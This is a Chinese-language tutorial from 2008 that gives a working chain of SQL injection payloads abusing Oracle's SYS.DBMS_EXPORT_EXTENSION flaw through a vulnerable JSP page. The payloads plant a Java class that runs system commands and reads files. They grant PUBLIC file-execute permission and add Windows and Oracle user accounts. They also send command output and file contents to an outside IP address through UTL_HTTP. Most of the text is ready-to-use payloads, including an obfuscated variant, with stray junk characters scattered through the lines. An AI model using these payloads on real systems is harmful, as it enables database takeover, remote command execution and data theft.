以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成 / R2 p, @+ o1 ~) {: M h
9 v+ C* j4 q7 Y /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....) " S& g9 \% Z2 T4 @8 {
的形式即可。(用" 'a'|| "是为了让语句返回true值)
5 j, W7 P1 e! }1 ~语句有点长,可能要用post提交。
/ f4 C* V! }- v4 ] k- f0 v/ T以下是各个步骤:
- z9 F8 i2 W# l8 Z% V1.创建包 * P5 s) D& i& c; F. P; }
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:( | M* H8 i6 R% X2 ~- g, d
/xxx.jsp?id=1 and '1'<>'a'||(
- ~4 y. D0 j% I# N; ~' g- Mselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
$ D! q4 i. h& n) m3 X& Z9 R: fcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
# g0 y6 _# V. p& Gnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
" u; {- o2 a9 X3 H1 D0 M! }: I}'''';END;'';END;--','SYS',0,'1',0) from dual
& C+ e/ d0 T: ?. j)
7 N. H, ]4 T0 N9 r$ }1 R------------------------
/ F, C. v# |. X0 }3 `2 M5 E7 P0 S如果url有长度限制,可以把readFile()函数块去掉,即: * U) K4 A3 K! Z% z
/xxx.jsp?id=1 and '1'<>'a'||( : A' ^5 l1 A5 p" [$ h% c' O% [
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''4 U3 K) N% w& q4 q2 L
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(' ], A7 {2 m' p* d3 ^% l( ?) L
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}, I! Z2 e+ z; T4 ]# A
}'''';END;'';END;--','SYS',0,'1',0) from dual * U# X* D1 T3 h) Q V+ H
)
8 l9 z0 G r( f8 v) o2 S6 Q# s' D同时把后面步骤 提到的 对readFile()的处理语句去掉。 4 P: [/ e) {, |5 Z
------------------------------
. P$ u# s, R/ N. D2.赋Java权限 / J0 w: p4 z% n! f# [1 O4 I1 L
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual# M% v% s5 N/ W) A0 [% K
3.创建函数
- O& _" f( h6 n3 _7 t: f. tselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''', U* V9 @* s- s" \; H* O: k3 A
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual: J0 F w* K$ R# ~
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
: T; W) N2 E8 d3 U4 Tcreate or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual* @% ^2 L* y# h1 F- w, F; G4 T
4.赋public执行函数的权限
$ L+ u. j2 O, ]1 C: A) ~select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
7 r) a- k( x1 e1 Z& u1 yselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual, h# p9 [% u2 C
5.测试上面的几步是否成功
* @, H9 N+ s+ p+ S! C) Z- tand '1'<>'11'||(
6 d/ [# z6 e; Q7 X% l% Oselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD' ( o4 |' o# J) L: h5 a$ S) T! z9 i
) 8 e( G! ^$ z% S6 M+ W& b
and '1'<>( ' W* L' X; x% D
select OBJECT_ID from all_objects where object_name ='LINXREADFILE'
. _ L9 _; g" A' K; H) 1 |9 U R/ Z$ }1 M E( a
6.执行命令:
% L! i; t: D& `( H- c/xxx.jsp?id=1 and '1'<>(
4 i; W" i% `" J( r! {select sys.LinxRunCMD('cmd /c net user linx /add') from dual
: b/ }3 x4 M ? @ k( u1 B, f7 r( |" H' Z$ D2 u% n
)
" x! l1 b+ Y. K/ F/xxx.jsp?id=1 and '1'<>( ( l0 {/ H/ {: k- G, o
select sys.LinxReadFile('c:/boot.ini') from dual4 {( ]& n; I* }
( k0 O. w4 f7 F! l: x7 ])+ m( x; L0 M& i1 \7 E* w" U2 ]
! q* p8 m2 X: P% F! X9 V% U$ U
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。 * \& {1 s! ?2 {9 D( f( a" Q
如果要查看运行结果可以用 union : " l5 m' l. n; h( [$ |3 Q5 X. V
/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
7 X( h5 I7 |, K/ N6 z: @% [! o3 R# [! m或者UTL_HTTP.request(:
y: |% h3 ~* V& m+ a) G4 T3 M/xxx.jsp?id=1 and '1'<>( & ]. S5 Y9 r4 m" T
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
5 r/ f) ~1 h- H8 r6 P( I8 N5 u) + |! E; J; R+ @ O$ M
/xxx.jsp?id=1 and '1'<>(
" d: E$ }; Z% H. G2 y S8 P4 zSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual- W% n! w- F" p$ A& x) O4 i! P
) 4 p& _/ ]$ o% Z: I' @5 J6 J. d
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。9 f" a* k2 v0 X. f
-------------------- / [1 m7 R/ ]2 l' V" T4 [
6.内部变化 ) e. m, |- {; v, j, `
通过以下命令可以查看all_objects表达改变: 8 C& e. y* v1 X& y1 {1 r6 O
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'# ]) z: m: s ]% M, P; g |
7.删除我们创建的函数 % M1 V6 I' C: N* \2 l
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
0 [. k6 F* S- N b" Rdrop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
$ V9 |& s! A1 @- {) N5 W====================================================
: Q' C. l, E1 P; t5 k- e全文结束。谨以此文赠与我的朋友。
* @2 T& I+ h: f" M1 j8 a0 Xlinx
0 o' V4 O' u0 O( k124829445
( p, \( _) D5 N4 `& y; R( T2008.1.12 " o" G ]0 G: v) g+ C
linyujian@bjfu.edu.cn # X6 D, h3 J& O
======================================================================
5 C& I# c0 |" X* w' N" C测试漏洞的另一方法: : A# o* U. y! r5 O- S
创建oracle帐号: " Y7 l6 l) D. m) g) U7 y* ^& \0 S1 A
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
3 `4 D0 \. Q& E" S) |: n5 oCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
0 D' D1 I5 U5 t) e9 n2 e即: / B; b- e0 e+ ~' h3 G) A
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
" T$ Z( F$ R. j+ f) `" p7 z7 Ochr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual / I+ b% z" u/ f1 _+ j9 {
确定漏洞存在:
: Y: e$ ^" M1 o( G, w2 W/ ?1<>(
( \. {+ }& ~* m( `7 q5 Q3 T3 ?select user_id from all_users where username='LINXSQL'
# c; G( }& M; c& l+ e) t) * s) I1 z( h w! X$ `1 c& X5 b
给linxsql连接权限: # q1 U6 _ O0 i2 I; ]
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
( T( h2 w3 L% T7 K/ [: `GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
2 N" y" _. l8 H P删除帐号: $ X5 y) E6 i1 ^. c: s p( m8 q
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''+ v9 @5 R2 s6 ^& V# {1 h
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual & y/ i" ?5 Q/ A/ Q" [) ]
======================
! J- L" ]+ o8 s8 [, j" u2 i, k以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:: d- S! N& u. c$ l; O1 ]
1.jsp?id=1 and '1'<>(
. ?) G, K3 r; n, U, z6 Nselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''( ^8 E5 h) W v7 t; d; e+ H! C
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual' o9 T# Y1 R& m5 A+ |
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE. w8 B; v3 ]6 x& g/ R+ k
)+ y* Q+ h2 H# i- \
* B% O2 E2 x; x. `$ i
6 k# \8 R0 }9 l1 Z D4 Y
' b9 r& f- X4 j! X% w5 \% B) D |